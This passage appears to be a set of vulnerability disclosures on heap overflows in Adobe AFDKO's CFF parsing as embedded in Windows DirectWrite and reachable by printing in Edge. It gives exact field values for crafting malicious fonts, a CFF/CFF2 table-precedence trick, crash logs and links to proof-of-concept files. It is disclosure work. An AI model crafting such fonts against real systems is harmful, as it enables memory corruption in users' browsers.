-----=====[ Proof of Concept ]=====-----
The proof of concept font contains an FDSelect table with the following initial values:
- nRanges = 0x0001
- gid = 0x0000
- fd = 0x00
- next = 0xffff (modified from the original 0x0586)
By increasing the value of "next" from 1414 to 65535, we cause the loop in lines 2360-2361 to go largely out of bounds and overflow the h->glyphs array.
-----=====[ Crash logs ]=====-----
A 64-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc.otf prints out the following report:
--- cut ---
=================================================================
==235715==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fb8259a282a at pc 0x000000540130 bp 0x7ffe5b379f50 sp 0x7ffe5b379f48
WRITE of size 1 at 0x7fb8259a282a thread T0
#0 0x54012f in readFDSelect afdko/c/public/lib/source/cffread/cffread.c:2361:48
#1 0x529a3d in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2791:13
#2 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9
#3 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
#4 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
#5 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
#6 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
#7 0x7fb8246e02b0 in __libc_start_main
#8 0x41e5b9 in _start
0x7fb8259a282a is located 42 bytes to the right of 143360-byte region [0x7fb82597f800,0x7fb8259a2800)
allocated by thread T0 here:
#0 0x4c63f3 in __interceptor_malloc
#1 0x6c9ac2 in mem_manage afdko/c/public/lib/source/tx_shared/tx_shared.c:73:20
#2 0x5474a4 in dna_manage afdko/c/public/lib/source/cffread/cffread.c:271:17
#3 0x7de64e in dnaGrow afdko/c/public/lib/source/dynarr/dynarr.c:86:23
#4 0x7dec75 in dnaSetCnt afdko/c/public/lib/source/dynarr/dynarr.c:119:13
#5 0x53e6fa in readCharStringsINDEX afdko/c/public/lib/source/cffread/cffread.c:1791:5
#6 0x5295be in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2769:9
#7 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9
#8 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
#9 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
#10 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
#11 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
#12 0x7fb8246e02b0 in __libc_start_main
SUMMARY: AddressSanitizer: heap-buffer-overflow afdko/c/public/lib/source/cffread/cffread.c:2361:48 in readFDSelect
Shadow bytes around the buggy address:
0x0ff784b2c4b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff784b2c4c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff784b2c4d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff784b2c4e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff784b2c4f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0ff784b2c500: fa fa fa fa fa[fa]fa fa fa fa fa fa fa fa fa fa
0x0ff784b2c510: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff784b2c520: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff784b2c530: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff784b2c540: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff784b2c550: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==235715==ABORTING
--- cut ---
A non-instrumented version of "tx" crashes with a SIGSEGV when it reaches an unmapped memory area:
--- cut ---
Program received signal SIGSEGV, Segmentation fault.
0x0000000000412cd7 in readFDSelect (h=0x710380) at ../../../../../source/cffread/cffread.c:2361
2361 h->glyphs.array[gid++].iFD = (unsigned char)fd;
(gdb) print gid
$1 = 1998
(gdb) x/10i $rip
=> 0x412cd7 <readFDSelect+551>: mov %cl,0x2a(%rdx)
0x412cda <readFDSelect+554>: jmpq 0x412ca3 <readFDSelect+499>
0x412cdf <readFDSelect+559>: jmpq 0x412c23 <readFDSelect+371>
0x412ce4 <readFDSelect+564>: jmpq 0x412cf7 <readFDSelect+583>
0x412ce9 <readFDSelect+569>: mov -0x8(%rbp),%rdi
0x412ced <readFDSelect+573>: mov $0x1c,%esi
0x412cf2 <readFDSelect+578>: callq 0x40cbb0 <fatal>
0x412cf7 <readFDSelect+583>: mov -0x8(%rbp),%rax
0x412cfb <readFDSelect+587>: mov 0x35f8(%rax),%rax
0x412d02 <readFDSelect+594>: mov -0x8(%rbp),%rcx
(gdb) info reg $rdx
rdx 0x7ffff7ff7020 140737354100768
(gdb) x/10bx $rdx+0x2a
0x7ffff7ff704a: Cannot access memory at address 0x7ffff7ff704a
--- cut ---
A similar Microsoft Edge renderer process crash is also shown below:
--- cut ---
(5960.48c4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
DWrite!readFDSelect+0xe9:
00007ffb`29e6bd39 40886c012a mov byte ptr [rcx+rax+2Ah],bpl ds:00000263`f1d43002=??
0:038> ? rax
Evaluate expression: 2628282101824 = 00000263`f1d23040
0:038> ? rcx
Evaluate expression: 130968 = 00000000`0001ff98
0:038> db rax+rcx+2a
00000263`f1d43002 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
00000263`f1d43012 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
00000263`f1d43022 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
00000263`f1d43032 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
00000263`f1d43042 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
00000263`f1d43052 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
00000263`f1d43062 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
00000263`f1d43072 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
0:038> k
# Child-SP RetAddr Call Site
00 0000006f`88b4aef0 00007ffb`29e6de90 DWrite!readFDSelect+0xe9
01 0000006f`88b4af20 00007ffb`29e621e7 DWrite!cfrBegFont+0x5e4
02 0000006f`88b4b7b0 00007ffb`29df157a DWrite!AdobeCFF2Snapshot+0x10f
03 0000006f`88b4bcb0 00007ffb`29df0729 DWrite!FontInstancer::InstanceCffTable+0x212
04 0000006f`88b4be90 00007ffb`29df039a DWrite!FontInstancer::CreateInstanceInternal+0x249
05 0000006f`88b4c0b0 00007ffb`29dd5a4e DWrite!FontInstancer::CreateInstance+0x192
06 0000006f`88b4c410 00007ffb`34eb61ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e
07 0000006f`88b4c4a0 00007ffb`34ea9148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f
08 0000006f`88b4c5c0 00007ffb`0fb750f4 d2d1!dxc::CXpsPrintControl::Close+0xc8
09 0000006f`88b4c610 00007ffb`0fb4fcb0 edgehtml!CDXPrintControl::Close+0x44
0a 0000006f`88b4c660 00007ffb`0fb547ad edgehtml!CTemplatePrinter::EndPrintD2D+0x5c
0b 0000006f`88b4c690 00007ffb`0fa2b515 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d
0c 0000006f`88b4c6c0 00007ffb`0f689175 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45
0d 0000006f`88b4c700 00007ffb`0eb568f1 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25
[...]
--- cut ---
-----=====[ References ]=====-----
[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369
[5] https://docs.microsoft.com/en-us/typography/opentype/spec/cff2#table-12-fdselect-format-3
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47094.zip
-----=====[ Background ]=====-----
AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.
At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.
We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.
One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser.
-----=====[ Description ]=====-----
The readCharset() function in afdko/c/public/lib/source/cffread/cffread.c is designed to read and parse the charset information of an input OpenType font. It is called by cfrBegFont(), the standard entry point function for the "cfr" (CFF Reader) module of AFDKO. The relevant part of the function is shown below:
--- cut ---
[...]
2179 case 1:
2180 size = 1;
2181 /* Fall through */
2182 case 2:
2183 while (gid < h->glyphs.cnt) {
2184 unsigned short id = read2(h);
2185 long nLeft = readN(h, size);
2186 while (nLeft-- >= 0)
2187 addID(h, gid++, id++);
2188 }
2189 break;
--- cut ---
whereas addID() is defined as follows:
--- cut ---
1838 /* Add SID/CID to charset */
1839 static void addID(cfrCtx h, long gid, unsigned short id) {
1840 abfGlyphInfo *info = &h->glyphs.array[gid];
1841 if (h->flags & CID_FONT)
1842 /* Save CID */
1843 info->cid = id;
1844 else {
1845 /* Save SID */
1846 info->gname.impl = id;
1847 info->gname.ptr = sid2str(h, id);
1848
1849 /* Non-CID font so select FD[0] */
1850 info->iFD = 0;
[...]
1859 }
1860 }
--- cut ---
The readCharset() routine doesn't consider the size of the h->glyphs array and writes to it solely based on the charset information. If the value read from the input stream in line 2185 exceeds the number of glyphs in the font, the array may be overflown in addID() (line 1843 or 1846, 1847, 1850), corrupting adjacent objects on the heap. The h->glyphs array is initialized in readCharStringsINDEX() according to the number of CharStrings found in the font:
--- cut ---
1791 dnaSET_CNT(h->glyphs, index.count);
--- cut ---
-----=====[ Proof of Concept ]=====-----
The proof of concept font contains a charset descriptor with the following initial values:
- width = 0x02 (changed from 0x01)
- id = 0x4141 (changed from 0x0001)
- nLeft = 0xffff (changed from 0x15)
By increasing the value of "nLeft" from 21 to 65535, we cause the loop in lines 2386-2387 to go largely out of bounds and overflow the h->glyphs array.
In theory, the vulnerability shouldn't be possible to reach in Microsoft DirectWrite and its client applications, because AFDKO is only used there for instancing variable fonts, whereas such CFF2 fonts follow another execution path in the readCharset() function:
--- cut ---
2138 if (h->header.major == 2) {
2139 postRead(h);
2140 if (h->cff2.mvar)
2141 MVARread(h);
2142 if (!(h->flags & CID_FONT))
2143 readCharSetFromPost(h);
2144 else {
2145 long gid;
2146 for (gid = 0; gid < h->glyphs.cnt; gid++) {
2147 abfGlyphInfo *info = &h->glyphs.array[gid];
2148 info->cid = (unsigned short)gid;
2149 }
2150 }
2151 return;
2152 }
--- cut ---
However, we have found that it is in fact possible to trigger the handling of CFFv1 in AFDKO, by appending the old style "CFF " table to a variable font which already includes a "CFF2" one. This causes DirectWrite to correctly load the variable font, but AFDKO still finds "CFF " first and passes it for further parsing, thanks to the following logic in srcOpen() (afdko/c/public/lib/source/cffread/cffread.c):
--- cut ---
561 /* OTF; use CFF table offset */
562 sfrTable *table =
563 sfrGetTableByTag(h->ctx.sfr, CTL_TAG('C', 'F', 'F', ' '));
564 if (table == NULL) {
565 table = sfrGetTableByTag(h->ctx.sfr, CTL_TAG('C', 'F', 'F', '2'));
566 }
567 if (table == NULL)
568 fatal(h, cfrErrNoCFF);
569 origin = table->offset;
--- cut ---
-----=====[ Crash logs ]=====-----
A 64-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc.otf prints out the following report:
--- cut ---
=================================================================
==236657==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62a00000b228 at pc 0x0000005563be bp 0x7ffe3c238d10 sp 0x7ffe3c238d08
WRITE of size 2 at 0x62a00000b228 thread T0
#0 0x5563bd in addID afdko/c/public/lib/source/cffread/cffread.c:1843:19
#1 0x53f71c in readCharset afdko/c/public/lib/source/cffread/cffread.c:2187:29
#2 0x5299c7 in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2789:9
#3 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9
#4 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
#5 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
#6 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
#7 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
#8 0x7f7bf34352b0 in __libc_start_main
#9 0x41e5b9 in _start
0x62a00000b228 is located 40 bytes to the right of 20480-byte region [0x62a000006200,0x62a00000b200)
allocated by thread T0 here:
#0 0x4c63f3 in __interceptor_malloc
#1 0x6c9ac2 in mem_manage afdko/c/public/lib/source/tx_shared/tx_shared.c:73:20
#2 0x5474a4 in dna_manage afdko/c/public/lib/source/cffread/cffread.c:271:17
#3 0x7de64e in dnaGrow afdko/c/public/lib/source/dynarr/dynarr.c:86:23
#4 0x7dec75 in dnaSetCnt afdko/c/public/lib/source/dynarr/dynarr.c:119:13
#5 0x53e6fa in readCharStringsINDEX afdko/c/public/lib/source/cffread/cffread.c:1791:5
#6 0x5295be in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2769:9
#7 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9
#8 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
#9 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
#10 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
#11 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
#12 0x7f7bf34352b0 in __libc_start_main
SUMMARY: AddressSanitizer: heap-buffer-overflow afdko/c/public/lib/source/cffread/cffread.c:1843:19 in addID
Shadow bytes around the buggy address:
0x0c547fff95f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c547fff9600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c547fff9610: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c547fff9620: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c547fff9630: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c547fff9640: fa fa fa fa fa[fa]fa fa fa fa fa fa fa fa fa fa
0x0c547fff9650: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c547fff9660: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c547fff9670: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c547fff9680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c547fff9690: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==236657==ABORTING
--- cut ---
A non-instrumented version of "tx" crashes with a SIGSEGV when it reaches an unmapped memory area:
--- cut ---
Program received signal SIGSEGV, Segmentation fault.
0x0000000000417d1e in addID (h=0x7103a0, gid=2293, id=18997) at ../../../../../source/cffread/cffread.c:1843
1843 info->cid = id;
(gdb) print info
$1 = (abfGlyphInfo *) 0x743000
(gdb) print &h->glyphs.array[gid]
$2 = (abfGlyphInfo *) 0x743000
(gdb) print gid
$3 = 2293
(gdb) x/10gx 0x743000
0x743000: Cannot access memory at address 0x743000
(gdb) bt
#0 0x0000000000417d1e in addID (h=0x7103a0, gid=2293, id=18997) at ../../../../../source/cffread/cffread.c:1843
#1 0x0000000000412a57 in readCharset (h=0x7103a0) at ../../../../../source/cffread/cffread.c:2187
#2 0x000000000040dd64 in cfrBegFont (h=0x7103a0, flags=4, origin=0, ttcIndex=0, top=0x6f6048, UDV=0x0) at ../../../../../source/cffread/cffread.c:2789
#3 0x0000000000405e4e in cfrReadFont (h=0x6f6010, origin=0, ttcIndex=0) at ../../../../source/tx.c:137
#4 0x0000000000405c9e in doFile (h=0x6f6010, srcname=0x7fffffffdf4c "poc.otf") at ../../../../source/tx.c:429
#5 0x000000000040532e in doSingleFileSet (h=0x6f6010, srcname=0x7fffffffdf4c "poc.otf")
at ../../../../source/tx.c:488
#6 0x0000000000402f59 in parseArgs (h=0x6f6010, argc=2, argv=0x7fffffffdc50) at ../../../../source/tx.c:558
#7 0x0000000000401df2 in main (argc=2, argv=0x7fffffffdc50) at ../../../../source/tx.c:1631
(gdb)
--- cut ---
A similar Microsoft Edge renderer process crash is also shown below:
--- cut ---
(4d58.50bc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
DWrite!addID+0x33:
00007ffb`29e6864b 66895cfe28 mov word ptr [rsi+rdi*8+28h],bx ds:000001ea`f5fee000=????
0:038> ? rsi
Evaluate expression: 2108661076032 = 000001ea`f5fe9040
0:038> ? rdi
Evaluate expression: 2547 = 00000000`000009f3
0:038> db rsi+rdi*8+28
000001ea`f5fee000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
000001ea`f5fee010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
000001ea`f5fee020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
000001ea`f5fee030 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
000001ea`f5fee040 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
000001ea`f5fee050 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
000001ea`f5fee060 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
000001ea`f5fee070 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
0:038> k
# Child-SP RetAddr Call Site
00 00000047`0fcfae10 00007ffb`29e6a262 DWrite!addID+0x33
01 00000047`0fcfae40 00007ffb`29e6de84 DWrite!readCharset+0x10a
02 00000047`0fcfae70 00007ffb`29e621e7 DWrite!cfrBegFont+0x5d8
03 00000047`0fcfb700 00007ffb`29df157a DWrite!AdobeCFF2Snapshot+0x10f
04 00000047`0fcfbc00 00007ffb`29df0729 DWrite!FontInstancer::InstanceCffTable+0x212
05 00000047`0fcfbde0 00007ffb`29df039a DWrite!FontInstancer::CreateInstanceInternal+0x249
06 00000047`0fcfc000 00007ffb`29dd5a4e DWrite!FontInstancer::CreateInstance+0x192
07 00000047`0fcfc360 00007ffb`34eb61ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e
08 00000047`0fcfc3f0 00007ffb`34ea9148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f
09 00000047`0fcfc510 00007ffb`0fb750f4 d2d1!dxc::CXpsPrintControl::Close+0xc8
0a 00000047`0fcfc560 00007ffb`0fb4fcb0 edgehtml!CDXPrintControl::Close+0x44
0b 00000047`0fcfc5b0 00007ffb`0fb547ad edgehtml!CTemplatePrinter::EndPrintD2D+0x5c
0c 00000047`0fcfc5e0 00007ffb`0fa2b515 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d
0d 00000047`0fcfc610 00007ffb`0f689175 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45
0e 00000047`0fcfc650 00007ffb`0eb568f1 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25
[...]
--- cut ---
-----=====[ References ]=====-----
[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47095.zip
-----=====[ Background ]=====-----
AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.
At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.
We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.
One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser.
-----=====[ Description ]=====-----
The readStrings() function in afdko/c/public/lib/source/cffread/cffread.c is designed to read the font name string and the string INDEX strings from the input font. The relevant part of the function is shown below:
--- cut ---
1727 /* Get FontName data and compute its size */
1728 INDEXGet(h, &h->index.name, 0, &FontName);
1729 lenFontName = FontName.end - FontName.begin;
1730
1731 /* Compute string data size */
1732 lenStrings = (h->index.string.count == 0) ? 0 : (h->region.StringINDEX.end - h->index.string.data + 1 + /* String data bytes */
1733 h->index.string.count); /* Null termination */
1734
1735 /* Allocate buffers */
1736 dnaSET_CNT(h->string.offsets, h->index.string.count + 1);
1737 dnaSET_CNT(h->string.ptrs, h->index.string.count);
1738 dnaSET_CNT(h->string.buf, lenFontName + 1 + lenStrings);
1739
1740 p = h->string.buf.array;
1741 *p = '\0';
1742 if (h->header.major == 1) {
1743 /* Copy FontName into buffer */
1744 srcSeek(h, FontName.begin);
1745 srcRead(h, lenFontName, p);
1746 p += lenFontName;
1747 *p++ = '\0';
1748 }
--- cut ---
The key line is 1738, where an integer overflow may occur. The "lenFontName" variable stores the length of the font name, which can be no greater than 65535. The "lenStrings" variable is initialized in lines 1732/1733 based on the length of the strings INDEX; primarily h->region.StringINDEX.end. The overall h->region.StringINDEX structure is filled out by the generic readINDEX() function, as called by cfrBegFont():
--- cut ---
2712 if (h->header.major == 1) {
2713 h->region.StringINDEX.begin = h->region.TopDICTINDEX.end;
2714 if (h->region.StringINDEX.begin > 0) {
2715 readINDEX(h, &h->region.StringINDEX, &h->index.string);
2716 /* Read strings */
2717 readStrings(h);
2718 }
--- cut ---
More specifically, h->region.StringINDEX.end is written to in the last line of readINDEX():
--- cut ---
1582 /* Read and validate offset size */
1583 index->offSize = read1(h);
1584 if (index->offSize < 1 || index->offSize > 4)
1585 fatal(h, cfrErrINDEXHeader);
1586
1587 index->offset = region->begin + cntSize + 1; /* Get offset array base */
1588
1589 /* Read and validate first offset */
1590 if (readN(h, index->offSize) != 1)
1591 fatal(h, cfrErrINDEXOffset);
1592
1593 /* Set data reference */
1594 index->data = index->offset + (index->count + 1) * index->offSize - 1;
1595
1596 /* Read last offset and compute INDEX length */
1597 srcSeek(h, index->offset + index->count * index->offSize);
1598 region->end = index->data + readN(h, index->offSize);
1599 }
--- cut ---
On platforms where "long" is a 32-bit type (Windows x86/x64 and Linux x86), this gives us complete control over the aforementioned field, including setting it to a negative value. This enables us to set the "lenStrings" variable to an arbitrary number, and thus makes it possible to choose it such that the result of the "lenFontName + 1 + lenStrings" expression is smaller than the sum of the font name's length and the length of all other strings. As a result, the heap-based h->string.buf.array object may be overflown, corrupting adjacent allocations in the following lines:
--- cut ---
1740 p = h->string.buf.array;
1741 *p = '\0';
1742 if (h->header.major == 1) {
1743 /* Copy FontName into buffer */
1744 srcSeek(h, FontName.begin);
1745 srcRead(h, lenFontName, p);
1746 p += lenFontName;
1747 *p++ = '\0';
1748 }
1749
[...]
1767
1768 /* Read string data */
1769 for (i = 0; i < (unsigned long)h->string.ptrs.cnt; i++) {
1770 long length =
1771 h->string.offsets.array[i + 1] - h->string.offsets.array[i];
1772 srcRead(h, length, p);
1773 h->string.ptrs.array[i] = p;
1774 p += length;
1775 *p++ = '\0';
1776 }
--- cut ---
Part of the problem contributing to the vulnerability is the unsafe addition in cffread.c:1738, but part of it is also the fact that h->region.StringINDEX.end may be fully controlled through readINDEX() and the function doesn't perform any sanity checking to make sure that the offset is within bounds of the CFF stream. We would therefore recommend adding more checks to readINDEX(), e.g. to also verify that all offsets specified in the INDEX are declared in ascending order and are also within bounds.
The same checks should also be added to the analogous readSubrINDEX() function, which is even more permissive, as it allows an arbitrary value of offSize (instead of being limited to the 1-4 range). While we are at it, we also believe that the readN() routine should not ignore the N argument outside of <1 .. 4>, and instead throw a fatal error or at least attempt to read the specified N bytes from the input stream. Its current declaration is shown below:
--- cut ---
505 /* Read 1-, 2-, 3-, or 4-byte number. */
506 static uint32_t readN(cfrCtx h, int N) {
507 uint32_t value = 0;
508 switch (N) {
509 case 4:
510 value = read1(h);
511 case 3:
512 value = value << 8 | read1(h);
513 case 2:
514 value = value << 8 | read1(h);
515 case 1:
516 value = value << 8 | read1(h);
517 }
518 return value;
519 }
--- cut ---
-----=====[ Proof of Concept ]=====-----
The proof of concept file contains a specially crafted String INDEX with the last offset set to -16397 (0xffffbff3) and the font name set to a "AAAA...AAAA" string consisting of 16384 bytes. This causes lenFontName to be equal to 16384 and lenStrings to be equal to -16384, so the whole "lenFontName + 1 + lenStrings" expression evaluates to 1. Despite this, because of the configuration of the h->string.buf dynamic array, the minimum allocation size is in fact 200. Then, a buffer overflow occurs while trying to load the 16384-byte string to the 200-byte allocation in the following line:
--- cut ---
1745 srcRead(h, lenFontName, p);
--- cut ---
The font is also specially crafted to parse correctly with DirectWrite but trigger the bug in AFDKO. The original CFF2 table was left untouched, and an extra CFF table from another font was added to the file and corrupted in the way described above. This way, DirectWrite successfully loads the legitimate variable font, and AFDKO processes the modified version as the CFF table takes precedence over CFF2 due to the logic implemented in srcOpen() in afdko/c/public/lib/source/cffread/cffread.c.
-----=====[ Crash logs ]=====-----
A 32-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc.otf prints out the following report:
--- cut ---
=================================================================
==116914==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf3603f88 at pc 0x0810d007 bp 0xffc4bba8 sp 0xffc4b780
WRITE of size 8184 at 0xf3603f88 thread T0
#0 0x810d006 in __asan_memcpy (tx+0x810d006)
#1 0x819b191 in srcRead afdko/c/public/lib/source/cffread/cffread.c:481:9
#2 0x817df46 in readStrings afdko/c/public/lib/source/cffread/cffread.c:1745:9
#3 0x8178b5a in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2717:13
